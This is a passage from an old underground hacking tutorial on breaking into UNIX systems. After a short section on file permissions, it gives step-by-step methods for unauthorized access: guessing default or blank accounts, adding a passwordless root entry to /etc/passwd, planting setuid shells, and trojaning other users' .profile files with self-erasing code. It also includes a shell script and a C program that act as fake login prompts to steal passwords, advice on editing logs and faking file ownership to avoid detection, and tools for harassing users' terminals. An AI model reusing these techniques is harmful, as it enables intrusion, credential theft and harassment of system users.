Ok. File permissions are not really that complicated. Each file has an owner
|
|
This OWNER is usually the one who creates the file, either by copying a file
|
|
or just by plain editing one. The program CHOWN can be used to give someone
|
|
ownership of a file. Remember that the owner of a file must be the one who
|
|
runs CHOWN, since he is the only one that can change the permissions of a file
|
|
Also, there is a group owner, which is basically the group that you were in
|
|
when the file was created. You would use chgrp to change the group a file is
|
|
in.
|
|
|
|
Now, Files can have Execute permissions, read permissions, or write permission.
|
|
If you have execute permission, you know that you can just type in the name
|
|
of that program at the command line, and it will execute. If you have read
|
|
permission on a file, you can obviously read the file, or do anything that
|
|
reads the file in, such as copying the file or cat[ing] it (Typing it).
|
|
If you do NOT have access to read a file, you can't do anything that requires
|
|
reading in the file. This is the same respect with write permission. Now,
|
|
all the permissions are arranged into 3 groups. The first is the owner's
|
|
permissions. He may have the permissions set for himself to read and execute
|
|
the file, but not write to it. This would keep him from deleting it.
|
|
The second group is the group permissions. Take an elongated directory
|
|
for an example:
|
|
$ ls -l runme
|
|
r-xrwxr-- sirhack root 10990 March 21 runme
|
|
|
|
ok. Now, "root" is the groupname this file is in. "sirhack" is the owner.
|
|
Now, if the group named 'root' has access to read, write and execute, they
|
|
could do just that. Say .. Scythian came across the file, and was in the root
|
|
user group. He could read write or execute the file. Now, say datawiz came
|
|
across it, but was in the "users" group. The group permissions would not
|
|
apply to him, meaning he would have no permissions, so he couldn't touch
|
|
the file, right? Sorta. There is a third group of permissions, and this is
|
|
the "other" group. This means that the permissions in the "other" group
|
|
apply to everyone but the owner, and the users in the same group as the file.
|
|
Look at the directory entry above. the r-x-rwxr-- is the permissions line.
|
|
The first three characters are the permissions for the owner (r-x). The
|
|
"r-x" translates to "Read and execute permissions, but no write permissions"
|
|
the second set of three, r-xRWXr-- (the ones in capital letters) are the group
|
|
permissions. Those three characters mean "Read, write, and execution allowed"
|
|
The 3rd set, r-xrwxR-- is the permissions for everyone else. It means
|
|
"Reading allowed, but nothing else". A directory would look something like
|
|
this:
|
|
$ ls -l
|
|
drwxr-xr-x sirhack root 342 March 11 src
|
|
|
|
A directory has a "d" at the beggining of the permissions line. Now, the
|
|
owner of the directory (sirhack) can read from the directory, write in the
|
|
directory, and execute programs from the directory. The root group and every-
|
|
one else can only read from the directory, and execute off the directory.
|
|
So, If I changed the directory to be executable only, this is
|
|
what it would look like:
|
|
$ chmod go-r
|
|
$ ls
|
|
drwx--x--x sirhack root 342 March 11 src
|
|
|
|
Now, if someone went into the directory besides "sirhack", they could only
|
|
execute programs in the directory. If they did an "ls" to get a directory
|
|
of src, when they were inside src, it would say "cannot read directory".
|
|
If there is a file that is readable in the directory, but the directory is
|
|
not readable, it is sometimes possible to read the file anyway.
|
|
|
|
If you do not have execute permissions in a directory, you won't be able to
|
|
execute anything in the directory, most of the time.
|
|
|
|
_____________________________________________________________________________
|
|
|
|
--------------
|
|
Hacking:
|
|
--------------
|
|
The first step in hacking a UNIX is to get into the operating system
|
|
by finding a valid account/password. The object of hacking is usually to
|
|
get root (full privileges), so if you're lucky enough to get in as root,
|
|
you need not read anymore of this hacking phile , and get into the
|
|
"Having Fun" Section. Hacking can also be just to get other's accounts also.
|
|
|
|
Getting IN
|
|
----------
|
|
The first thing to do is to GET IN to the Unix. I mean, get past
|
|
the login prompt. That is the very first thing. When you come across a UNIX,
|
|
sometimes it will identify itself by saying something like,
|
|
"Young INC. Company UNIX"
|
|
|
|
or Just
|
|
"Young Inc. Please login"
|
|
|
|
Here is where you try the defaults I listed. If you get in with those
|
|
you can get into the more advanced hacking (getting root). If you do something
|
|
wrong at login, you'll get the message
|
|
"login incorrect"
|
|
This was meant to confuse hackers, or keep the wondering. Why?
|
|
Well, you don't know if you've enterred an account that does not exist, or one
|
|
that does exist, and got the wrong password. If you login as root and it says
|
|
"Not on Console", you have a problem. You have to login as someone else,
|
|
and use SU to become root.
|
|
|
|
Now, this is where you have to think. If you cannot get in with a
|
|
default, you are obviously going to have to find something else to
|
|
login as. Some systems provide a good way to do this by allowing the use
|
|
of command logins. These are ones which simply execute a command, then
|
|
logoff. However, the commands they execute are usually useful. For instance
|
|
there are three common command logins that tell you who is online at the
|
|
present time. They are:
|
|
who
|
|
rwho
|
|
finger
|
|
|
|
If you ever successfully get one of these to work, you can write down
|
|
the usernames of those online, and try to logon as them. Lots of unsuspecting
|
|
users use there login name as their password. For instance, the user
|
|
"bob" may have a password named "bob" or "bob1". This, as you know, is
|
|
not smart, but they don't expect a hacking spree to be carried out on
|
|
them. They merely want to be able to login fast.
|
|
If a command login does not exist, or is not useful at all, you will
|
|
have to brainstorm. A good thing to try is to use the name of the unix
|
|
that it is identified as. For instance, Young INC's Unix may have an account
|
|
named "young"
|
|
Young, INC. Please Login.
|
|
login: young
|
|
UNIX SYSTEM V REL 3.2
|
|
(c)1984 AT&T..
|
|
..
|
|
..
|
|
..
|
|
|
|
Some unixes have an account open named "test". This is also a default,
|
|
but surprisingly enough, it is sometimes left open. It is good to try to
|
|
use it. Remember, brainstorming is the key to a unix that has no apparent
|
|
defaults open. Think of things that may go along with the Unix. type
|
|
in stuff like "info", "password", "dial", "bbs" and other things that
|
|
may pertain to the system. "att" is present on some machines also.
|
|
|
|
ONCE INSIDE -- SPECIAL FILES
|
|
----------------------------
|
|
There are several files that are very important to the UNIX
|
|
environment. They are as follows:
|
|
|
|
/etc/passwd - This is probably the most important file on a Unix. Why?
|
|
well, basically, it holds the valid usernames/passwords.
|
|
This is important since only those listed in the passwd
|
|
file can login, and even then some can't (will explain).
|
|
The format for the passwordfile is this:
|
|
|
|
username:password:UserID:GroupID:description(or real name):homedir:shell
|
|
|
|
Here are two sample entries:
|
|
|
|
sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
|
|
demo::101:100:Test Account:/usr/demo:/usr/sh
|
|
|
|
In the first line, sirhack is a valid user. The second
|
|
field, however, is supposed to be a password, right? Well,
|
|
it is, but it's encrypted with the DES encryption standard.
|
|
the part that says "&a,Ty" may include a date after the comma
|
|
(Ty) that tells unix when the password expires. Yes, the
|
|
date is encrypted into two alphanumeric characters (Ty).
|
|
|
|
In the Second example, the demo account has no password.
|
|
so at Login, you could type in:
|
|
|
|
login: demo
|
|
UNIX system V
|
|
(c)1984 AT&T
|
|
..
|
|
..
|
|
|
|
But with sirhack, you'd have to enter a password. Now,
|
|
the password file is great, since a lot of times, you;ll
|
|
be able to browse through it to look for unpassworded
|
|
accounts. Remember that some accounts can be restricted
|
|
from logging in, as such:
|
|
|
|
bin:*:2:2:binaccount:/bin:/bin/sh
|
|
|
|
The '*' means you won't be able to login with it. Your
|
|
only hope would be to run an SUID shell (explained later).
|
|
|
|
A note about the DES encryption: each unix makes its own unique
|
|
"keyword" to base encryption off of. Most of the time its just random letters
|
|
and numbers. Its chosen at installation time by the operating system.
|
|
Now, decrypting DES encrypted things ain't easy. Its pretty much
|
|
impossible. Especially decrypting the password file (decrypting the password
|
|
field within the password file to be exact). Always beware a hacker who
|
|
says he decrypted a password file. He's full of shit. Passwords are
|
|
never decrypted on unix, but rather, a system call is made to a function
|
|
called "crypt" from within the C language, and the string you enter as
|
|
the password gets encrypted, and compared to the encrypted password. If
|
|
they match, you're in. Now, there are password hackers, but they donot
|
|
decrypt the password file, but rather, encrypt words from a dictionary
|
|
and try them against every account (by crypting/comparing) until it finds
|
|
a match (later on!). Remember, few, if none, have decrypted the password
|
|
file successfuly.
|
|
|
|
/etc/group - This file contains The valid groups. The group file is usually
|
|
defined as this:
|
|
groupname:password:groupid:users in group
|
|
|
|
Once again, passwords are encrypted here too. If you see a blank
|
|
in the password entry you can become part of that group by
|
|
using the utility "newgrp". Now, there are some cases in
|
|
which even groups with no password will allow only certain
|
|
users to be assigned to the group via the newgrp command. Usually,
|
|
if the last field is left blank, that means any user can use newgrp
|
|
to get that group's access. Otherwise, only the users specified in
|
|
the last field can enter the group via newgrp.
|
|
|
|
Newgrp is just a program that will change your group current
|
|
group id you are logged on under to the one you specify. The
|
|
syntax for it is: newgrp groupname
|
|
Now, if you find a group un passworded, and use newgrp to
|
|
enter it, and it asks for a password, you are not allowed to use
|
|
the group. I will explain this further in The "SU & Newgrp" section.
|
|
|
|
/etc/hosts - this file contains a list of hosts it is connected to thru
|
|
a hardware network (like an x.25 link or something), or sometimes
|
|
just thru UUCP. This is a good file when you are hacking a
|
|
large network, since it tells you systems you can use with
|
|
rsh (Remote Shell, not restricted shell), rlogin, and telnet,
|
|
as well as other ethernet/x.25 link programs.
|
|
|
|
/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
|
|
Several directories, but it is usually in /usr/adm. This file
|
|
is what it sounds like. Its a log file, for the program SU.
|
|
What it is for is to keep a record of who uses SU and when.
|
|
whenever you use SU, your best bet would be to edit this file
|
|
if possible, and I'll tell you how and why in the section
|
|
about using "su".
|
|
|
|
/usr/adm/loginlog
|
|
or /usr/adm/acct/loginlog -
|
|
This is a log file, keeping track of the logins.
|
|
Its purpose is merely for accounting and "security review". Really,
|
|
sometimes this file is never found, since a lot of systems keep the
|
|
logging off.
|
|
|
|
/usr/adm/errlog
|
|
or errlog - This is the error log. It could be located anywhere. It
|
|
keeps track of all serious and even not so serious errors.
|
|
Usually, it will contain an error code, then a situation.
|
|
the error code can be from 1-10, the higher the number, the
|
|
worse the error. Error code 6 is usually used when you try
|
|
to hack. "login" logs your attempt in errlog with error code
|
|
6. Error code 10 means, in a nutshell, "SYSTEM CRASH".
|
|
|
|
/usr/adm/culog - This file contains entries that tell when you used cu,
|
|
where you called and so forth. Another security thing.
|
|
|
|
/usr/mail/<userLogin> - this is where the program "mail" stores its mail.
|
|
to read a particular mailbox, so they are called,
|
|
you must be that user, in the user group "mail" or
|
|
root. each mailbox is just a name. for instance,
|
|
if my login was "sirhack" my mail file would usually
|
|
be: /usr/mail/sirhack
|
|
|
|
/usr/lib/cron/crontabs - This contains the instructions for cron, usually.
|
|
Will get into this later.
|
|
|
|
/etc/shadow - A "shadowed" password file. Will talk about this later.
|
|
|
|
|
|
-- The BIN account --
|
|
|
|
Well, right now, I'd like to take a moment to talk about the account
|
|
"bin". While it is only a user level account, it is very powerful. It is
|
|
the owner of most of the files, and on most systems, it owns /etc/passwd,
|
|
THE most important file on a unix. See, the bin account owns most of the
|
|
"bin" (binary) files, as well as others used by the binary files, such
|
|
as login. Now, knowing what you know about file permissions, if bin owns
|
|
the passwd file, you can edit passwd and add a root entry for yourself.
|
|
You could do this via the edit command:
|
|
$ ed passwd
|
|
10999 [The size of passwd varies]
|
|
* a
|
|
sirhak::0:0:Mr. Hackalot:/:/bin/sh
|
|
{control-d}
|
|
* w
|
|
* q
|
|
$
|
|
|
|
Then, you could say: exec login, then you could login as sirhack, and
|
|
you'd be root.
|
|
|
|
/\/\/\/\/\/\/\/\/
|
|
Hacking..........
|
|
/\/\/\/\/\/\/\/\/
|
|
|
|
--------------
|
|
Account Adding
|
|
--------------
|
|
|
|
There are other programs that will add users to the system, instead
|
|
of ed. But most of these programs will NOT allow a root level user to be
|
|
added, or anything less than a UID of 100. One of these programs is
|
|
named "adduser". Now, the reason I have stuck this little section in, is
|
|
for those who want to use a unix for something useful. Say you want a
|
|
"mailing address". If the unix has uucp on it, or is a big college,
|
|
chances are, it will do mail transfers. You'll have to test the unix
|
|
by trying to send mail to a friend somewhere, or just mailing yourself.
|
|
If the mailer is identified as "smail" when you mail yourself (the program
|
|
name will be imbedded in the message) that probably means that the system
|
|
will send out UUCP mail. This is a good way to keep in contact with people.
|
|
Now, this is why you'd want a semi-permanent account. The way to achieve this
|
|
is by adding an account similar to those already on the system. If all the
|
|
user-level accounts (UID >= 100) are three letter abbriviations, say
|
|
"btc" for Bill The Cat, or "brs" for bill ryan smith, add an account
|
|
via adduser, and make a name like sally jane marshall or something
|
|
(they don't expect hackers to put in female names) and have the account
|
|
named sjm. See, in the account description (like Mr. Hackalot above), that
|
|
is where the real name is usually stored. So, sjm might look like this:
|
|
sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
|
|
Of course, you will password protect this account, right?
|
|
Also, group id's don't have to be above 100, but you must put the account
|
|
into one that exists. Now, once you login with this account, the first
|
|
thing you'd want to do is execute "passwd" to set a password up. If you
|
|
don't, chances are someone else 'll do it for you (Then you'll be SOL).
|
|
|
|
-------------------
|
|
Set The User ID
|
|
-------------------
|
|
|
|
This is porbably one of the most used schemes. Setting up an "UID-
|
|
Shell". What does this mean? Well, it basically means you are going
|
|
to set the user-bit on a program. The program most commonly used is
|
|
a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access
|
|
to whatever the owner of the file does. A UID shell sets the user-ID of
|
|
the person who executes it to the owner of the program. So if root
|
|
owns a uid shell, then you become root when you run it. This is an
|
|
alternate way to become root.
|
|
|
|
Say you get in and modify the passwd file and make a root level
|
|
account unpassworded, so you can drop in. Of course, you almost HAVE to
|
|
get rid of that account or else it WILL be noticed eventually. So, what
|
|
you would do is set up a regular user account for yourself, then, make
|
|
a uid shell. Usually you would use /bin/sh to do it. After adding
|
|
the regular user to the passwd file, and setting up his home directory,
|
|
you could do something like this:
|
|
(assume you set up the account: shk)
|
|
# cp /bin/sh /usr/shk/runme
|
|
# chmod a+s /usr/shk/runme
|
|
|
|
Thats all there would be to it. When you logged in as shk, you could just
|
|
type in:
|
|
|
|
$ runme
|
|
#
|
|
|
|
See? You'd then be root. Here is a thing to do:
|
|
|
|
$ id
|
|
uid=104(shk) gid=50(user)
|
|
|
|
$ runme
|
|
# id
|
|
uid=104(shk) gid=50(user) euid=0(root)
|
|
#
|
|
|
|
The euid is the "effective" user ID. UID-shells only set the effective
|
|
userid, not the real user-id. But, the effective user id over-rides the
|
|
real user id. Now, you can, if you wanted to just be annoying, make
|
|
the utilities suid to root. What do I mean? For instance, make 'ls'
|
|
a root 'shell'. :
|
|
|
|
# chmod a+s /bin/ls
|
|
# exit
|
|
$ ls -l /usr/fred
|
|
..
|
|
......
|
|
etc crap
|
|
|
|
Ls would then be able to pry into ANY directory. If you did the same to
|
|
"cat" you could view any file. If you did it to rm, you could delete any
|
|
file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on
|
|
the system (usually).
|
|
|
|
|
|
How do I get root?
|
|
------------------
|
|
|
|
Good question indeed. To make a program set the user-id shell to root,
|
|
you have to be root, unless you're lucky. What do I mean? Well, say
|
|
you find a program that sets the user-id to root. If you have access
|
|
to write to that file, guess what? you can copy over it, but keep
|
|
the uid bit set. So, say you see that the program chsh is setting
|
|
the user id too root. You can copy /bin/sh over it.
|
|
|
|
$ ls -l
|
|
rwsrwsrws root other 10999 Jan 4 chsh
|
|
$ cp /bin/sh chsh
|
|
$ chsh
|
|
#
|
|
|
|
See? That is just one way. There are others, which I will now talk
|
|
about.
|
|
|
|
More on setting the UID
|
|
-----------------------
|
|
|
|
Now, the generic form for making a program set the User-ID bit
|
|
is to use this command:
|
|
|
|
chmod a+s file
|
|
|
|
Where 'file' is a valid existing file. Now, only those who own the file
|
|
can set the user ID bit. Remember, anything YOU create, YOU own, so if
|
|
you copy th /bin/sh, the one you are logged in as owns it, or IF the
|
|
UID is set to something else, the New UID owns the file. This brings
|
|
me to BAD file permissions.
|
|
|
|
|
|
|
|
II. HACKING : Bad Directory Permissions
|
|
|
|
Now, what do I mean for bad directory permissions? Well, look for
|
|
files that YOU can write to, and above all, DIRECTORIES you can write to.
|
|
If you have write permissions on a file, you can modify it. Now, this comes
|
|
in handy when wanting to steal someone's access. If you can write to
|
|
a user's .profile, you are in business. You can have that user's .profile
|
|
create a suid shell for you to run when You next logon after the user.
|
|
If the .profile is writable to you, you can do this:
|
|
|
|
$ ed .profile
|
|
[some number will be here]
|
|
? a
|
|
cp /bin/sh .runme
|
|
chmod a+x .runme
|
|
chmod a+s .runme
|
|
(control-d)
|
|
? w
|
|
[new filesize will be shown]
|
|
? q
|
|
$
|
|
|
|
Now, when the user next logs on, the .profile will create .runme which
|
|
will set your ID to the user whose .profile you changed. Ideally, you'll
|
|
go back in and zap those lines after the suid is created, and you'll create
|
|
a suid somewhere else, and delete the one in his dir. The .runme will
|
|
not appear in the user's REGULAR directory list, it will only show up
|
|
if he does "ls -a" (or ls with a -a combination), because, the '.' makes
|
|
a file hidden.
|
|
|
|
The above was a TROJAN HORSE, which is one of the most widely used/abused
|
|
method of gaining more power on a unix. The above could be done in C via
|
|
the system() command, or by just plain using open(), chmod(), and the like.
|
|
* Remember to check and see if the root user's profile is writeable *
|
|
* it is located at /.profile (usually) *
|
|
|
|
|
|
The BEST thing that could happen is to find a user's directory writeable
|
|
by you. Why? well, you could replace all the files in the directory
|
|
with your own devious scripts, or C trojans. Even if a file is not
|
|
writeable by you, you can still overwrite it by deleteing it. If you
|
|
can read various files, such as the user's .profile, you can make a
|
|
self deleting trojan as so:
|
|
|
|
$ cp .profile temp.pro
|
|
$ ed .profile
|
|
1234
|
|
? a
|
|
cp /bin/sh .runme
|
|
chmod a+x .runme
|
|
chmod a+s .runme
|
|
mv temp.pro .profile
|
|
(control-d)
|
|
? w
|
|
[another number]
|
|
? q
|
|
$ chown that_user temp.pro
|
|
|
|
What happens is that you make a copy of the .profile before you change it.
|
|
Then, you change the original. When he runs it, the steps are made, then
|
|
the original version is placed over the current, so if the idiot looks in
|
|
his .profile, he won't see anything out of the ordinary, except that he
|
|
could notice in a long listing that the change date is very recent, but
|
|
most users are not paranoid enough to do extensive checks on their files,
|
|
except sysadm files (such as passwd).
|
|
|
|
Now, remember, even though you can write to a dir, you may not be able
|
|
to write to a file without deleting it. If you do not have write perms
|
|
for that file, you'll have to delete it and write something in its place
|
|
(put a file with the same name there). The most important thing to remember
|
|
if you have to delete a .profile is to CHANGE the OWNER back after you
|
|
construct a new one (hehe) for that user. He could easily notice that his
|
|
.profile was changed and he'll know who did it. YES, you can change the
|
|
owner to someone else besides yourself and the original owner (as to throw
|
|
him off), but this is not wise as keeping access usually relies on the fact
|
|
that they don't know you are around.
|
|
|
|
You can easily change cron files if you can write to them. I'm not going
|
|
to go into detail about cronfile formats here, just find the crontab files
|
|
and modify them to create a shell somewhere as root every once in a while,
|
|
and set the user-id.
|
|
|
|
III. Trojan Horses on Detached terminals.
|
|
Basically this: You can send garbage to a user's screen and
|
|
mess him up bad enough to force a logoff, creating a detached
|
|
account. Then you can execute a trojan horse off that terminal in
|
|
place of login or something, so the next one who calls can hit the
|
|
trojan horse. This USUALLY takes the form of a fake login and
|
|
write the username/pw entererred to disk.
|
|
|
|
Now, there are other trojan horses available for you to write. Now,
|
|
don't go thinking about a virus, for they don't work unless ROOT runs
|
|
them. Anyway, a common trjan would be a shell script to get the
|
|
password, and mail it to you. Now, you can replace the code for
|
|
the self deleting trojan with one saying something like:
|
|
echo "login: \c"
|
|
read lgin
|
|
echo off (works on some systems)
|
|
(if above not available...: stty -noecho)
|
|
echo "Password:\c"
|
|
read pw
|
|
echo on
|
|
echo "Login: $lgin - Pword: $pw" | mail you
|
|
|
|
Now, the best way to use this is to put it in a seperate script file
|
|
so it can be deleted as part of the self deleting trojan. A quick
|
|
modification, removing the "login: " and leaving the password
|
|
may have it look like SU, so you can get the root password. But
|
|
make sure the program deletes itself. Here is a sample trojan
|
|
login in C:
|
|
|
|
#include <stdio.h>
|
|
/* Get the necessary defs.. */
|
|
main()
|
|
{
|
|
char *name[80];
|
|
char *pw[20];
|
|
FILE *strm;
|
|
printf("login: ");
|
|
gets(name);
|
|
pw = getpass("Password:");
|
|
strm = fopen("/WhereEver/Whateverfile","a");
|
|
fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
|
|
fclose(strm);
|
|
/* put some kind of error below... or something... */
|
|
printf("Bus Error - Core Dumped\n");
|
|
exit(1);
|
|
}
|
|
|
|
The program gets the login, and the password, and appends it to
|
|
a file (/wherever/whateverfile), and creates the file if it can,
|
|
and if its not there. That is just an example. Network Annoyances
|
|
come later.
|
|
|
|
IV. Odd systems
|
|
|
|
There may be systems you can log in to with no problem, and find some
|
|
slack menu, database, or word processor as your shell, with no way to the
|
|
command interpreter (sh, ksh, etc..). Don't give up here. Some systems will
|
|
let you login as root, but give you a menu which will allow you to add an
|
|
account. However, ones that do this usually have some purchased software
|
|
package running, and the people who made the software KNOW that the people
|
|
who bought it are idiots, and the thing will sometimes only allow you to
|
|
add accounts with user-id 100 or greater, with their special menushell as
|
|
a shell. You probably won't get to pick the shell, the program will probably
|
|
stick one on the user you created which is very limiting. HOWEVER, sometimes
|
|
you can edit accounts, and it will list accounts you can edit on the screen.
|
|
HOWEVER, these programs usually only list those with UIDS > 100 so you don't
|
|
edit the good accounts, however, they donot stop you from editing an account
|
|
with a UID < 100. The "editing" usually only involves changing the password
|
|
on the account. If an account has a * for a password, the standard passwd
|
|
program which changes programs, will say no pw exists, and will ask you to
|
|
enter one. (wallah! You have just freed an account for yourself. Usually
|
|
bin and sys have a * for a password). If one exists you'll have to enter
|
|
the old Password (I hope you know it!) for that account. Then, you are
|
|
in the same boat as before. (BTW -- These wierd systems are usually
|
|
Xenix/386, Xenix/286, or Altos/286)
|
|
With word processors, usually you can select the load command,
|
|
and when the word processor prompts for a file, you can select the passwd
|
|
file, to look for open accounts, or at least valid ones to hack. An example
|
|
would be the informix system. You can get a word processor with that such
|
|
as Samna word, or something, and those Lamers will not protect against
|
|
shit like that. Why? The Passwd file HAS to be readable by all for the most
|
|
part, so each program can "stat" you. However, word processors could be made
|
|
to restrict editing to a directory, or set of directories. Here is an
|
|
example:
|
|
|
|
$ id
|
|
uid=100(sirhack) gid=100(users)
|
|
$ sword
|
|
(word processor comes up)
|
|
(select LOAD A FILE)
|
|
<Edit File>: /etc/passwd
|
|
<Loading..>
|
|
(you see: )
|
|
root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
|
|
sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
|
|
datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
|
|
...
|
|
|
|
Now I have found an account to take over! "datawiz" will get me in with no
|
|
trouble, then I can change his password, which he will not like at all.
|
|
Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions
|
|
of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
|
|
will menu drive all the important shit, even creating users, but you must
|
|
have ansi or something.
|
|
|
|
You can usually tell when you'll get a menu. Sometimes on UNIX
|
|
SYSTEM V, when it says TERM = (termtype), and is waiting for
|
|
you to press return or whatever, you will probably get a menu.. ack.
|
|
|
|
V. Shadowed Password files
|
|
Not much to say about this. all it is, is when every password field
|
|
in the password file has an "x" or just a single character. What
|
|
that does is screw you, becuase you cannot read the shadowed password
|
|
file, only root can, and it contains all the passwords, so you will
|
|
not know what accounts have no passwords, etc.
|
|
|
|
There are a lot of other schemes for hacking unix, lots of others, from
|
|
writing assembly code that modifies the PCB through self-changing code which
|
|
the interrupt handler doesn't catch, and things like that. However, I do
|
|
not want to give away everything, and this was not meant for advanced Unix
|
|
Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
|
|
assembly language or anything. Now I will Talk about Internet.
|
|
|
|
|
|
|
|
--->>> InterNet <<<---
|
|
Why do I want to talk about InterNet? Well, because it is a prime
|
|
example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
|
|
Now, mainly you will find BSD systems off of the Internet, or SunOS, for
|
|
they are the most common. They may not be when System V, Rel 4.0, Version
|
|
2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump
|
|
from one computer to another once you are logged in. What happens is
|
|
EACH system has a "yello page password file". Better known as yppasswd.
|
|
If you look in there, and see blank passwords you can use rsh, rlogin, etc..
|
|
to slip into that system. One system in particular I came across had a
|
|
a yppasswd file where *300* users had blank passwords in the Yellow Pages.
|
|
Once I got in on the "test" account, ALL I had to do was select who I wanted
|
|
to be, and do: rlogin -l user (sometimes -n). Then it would log me onto
|
|
the system I was already on, through TCP/IP. However, when you do this,
|
|
remember that the yppasswd only pertains to the system you are on at
|
|
the time. To find accounts, you could find the yppasswd file and do:
|
|
|
|
% cat yppasswd | grep ::
|
|
|
|
Or, if you can't find yppasswd..
|
|
|
|
% ypcat passwd | grep ::
|
|
|
|
On ONE system (which will remain confidential), I found the DAEMON account
|
|
left open in the yppasswd file. Not bad. Anyway, through one system
|
|
on the internet, you can reach many. Just use rsh, or rlogin, and look
|
|
in the file: /etc/hosts for valid sites which you can reach. If you get
|
|
on to a system, and rlogin to somewhere else, and it asks for a password,
|
|
that just means one of two things:
|
|
|
|
A. Your account that you have hacked on the one computer is on the target
|
|
computer as well. Try to use the same password (if any) you found the
|
|
hacked account to have. If it is a default, then it is definitly on the
|
|
other system, but good luck...
|
|
|
|
B. rlogin/rsh passed your current username along to the remote system, so it
|
|
was like typing in your login at a "login: " prompt. You may not exist on
|
|
the other machine. Try "rlogin -l login_name", or rlogin -n name..
|
|
sometimes, you can execute "rwho" on another machine, and get a valid
|
|
account.
|
|
|
|
Some notes on Internet servers. There are "GATEWAYS" that you can get into
|
|
that will allow access to MANY internet sites. They are mostly run off
|
|
a modified GL/1 or GS/1. No big deal. They have help files. However,
|
|
you can get a "privilged" access on them, which will give you CONTROL of
|
|
the gateway.. You can shut it down, remove systems from the Internet, etc..
|
|
When you request to become privileged, it will ask for a password. There is
|
|
a default. The default is "system". I have come across *5* gateways with
|
|
the default password. Then again, DECNET has the same password, and I have
|
|
come across 100+ of those with the default privileged password. CERT Sucks.
|
|
a Gateway that led to APPLE.COM had the default password. Anyone could
|
|
have removed apple.com from the internet. Be advised that there are many
|
|
networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
|
|
University networks.
|
|
|
|
--** Having Fun **--
|
|
|
|
Now, if nothing else, you should atleast have some fun. No, I do not mean
|
|
go trashing hardrives, or unlinking directories to take up inodes, I mean
|
|
play with online users. There are many things to do. Re-direct output
|
|
to them is the biggie. Here is an example:
|
|
$ who
|
|
loozer tty1
|
|
sirhack tty2
|
|
$ banner You Suck >/dev/tty1
|
|
$
|
|
That sent the output to loozer. The TTY1 is where I/O is being performed
|
|
to his terminal (usually a modem if it is a TTY). You can repetitiously
|
|
banner him with a do while statement in shell, causing him to logoff. Or
|
|
you can get sly, and just screw with him. Observe this C program:
|
|
|
|
#include <stdio.h>
|
|
#include <fcntl.h>
|
|
#include <string.h>
|
|
|
|
main(argc,argument)
|
|
int argc;
|
|
char *argument[];
|
|
{
|
|
int handle;
|
|
char *pstr,*olm[80];
|
|
char *devstr = "/dev/";
|
|
int acnt = 2;
|
|
FILE *strm;
|
|
pstr = "";
|
|
if (argc == 1) {
|
|
printf("OL (OneLiner) Version 1.00 \n");
|
|
printf("By Sir Hackalot [PHAZE]\n");
|
|
printf("\nSyntax: ol tty message\n");
|
|
printf("Example: ol tty01 You suck\n");
|
|
exit(1);
|
|
}
|
|
printf("OL (OneLiner) Version 1.0\n");
|
|
printf("By Sir Hackalot [PHAZE]\n");
|
|
if (argc == 2) {
|
|
strcpy(olm,"");
|
|
printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
|
|
printf("Enter one Here => ");
|
|
gets(olm);
|
|
}
|
|
strcpy(pstr,"");
|
|
strcat(pstr,devstr);
|
|
strcat(pstr,argument[1]);
|
|
printf("Sending to: [%s]\n",pstr);
|
|
strm = fopen(pstr,"a");
|
|
if (strm == NULL) {
|
|
printf("Error writing to: %s\n",pstr);
|
|
printf("Cause: No Write Perms?\n");
|
|
exit(2);
|
|
}
|
|
if (argc == 2) {
|
|
if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
|
|
fprintf(strm,"%s\n",olm);
|
|
fclose(strm);
|
|
printf("Message Sent.\n");
|
|
exit(0);
|
|
}
|
|
if (argc > 2) {
|
|
if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
|
|
while (acnt <= argc - 1) {
|
|
fprintf(strm,"%s ",argument[acnt]);
|
|
acnt++;
|
|
}
|
|
fclose(strm);
|
|
printf("Message sent!\n");
|
|
exit(0);
|
|
}
|
|
}
|
|
|
|
What the above does is send one line of text to a device writeable by you
|
|
in /dev. If you try it on a user named "sirhack" it will notify sirhack
|
|
of what you are doing. You can supply an argument at the command line, or
|
|
leave a blank message, then it will prompt for one. You MUST supply a
|
|
Terminal. Also, if you want to use ?, or *, or (), or [], you must not
|
|
supply a message at the command line, wait till it prompts you. Example:
|
|
|
|
$ ol tty1 You Suck!
|
|
OL (OneLiner) Version 1.00
|
|
by Sir Hackalot [PHAZE]
|
|
Sending to: [/dev/tty1]
|
|
Message Sent!
|
|
$
|
|
Or..
|
|
$ ol tty1
|
|
OL (OneLiner) Version 1.00
|
|
by Sir Hackalot [PHAZE]
|
|
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
|
|
Enter one here => Loozer! Logoff (NOW)!! ^G^G
|
|
Sending to: [/dev/tty1]
|
|
Message Sent!
|
|
$
|
|
|
|
You can even use it to fake messages from root. Here is another:
|
|
|
|
|
|
/*
|
|
* Hose another user
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <signal.h>
|
|
#include <utmp.h>
|
|
#include <time.h>
|
|
#include <termio.h>
|
|
#include <sys/utsname.h>
|
|
|
|
#define NMAX sizeof(ubuf.ut_name)
|
|
|
|
struct utmp ubuf;
|
|
struct termio oldmode, mode;
|
|
struct utsname name;
|
|
int yn;
|
|
int loop = 0;
|
|
char *realme[50] = "Unknown";
|
|
char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32];
|
|
char *histtya, *ttyname(), *strrchr(), *getenv();
|
|
int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
|
|
FILE *tf;
|
|
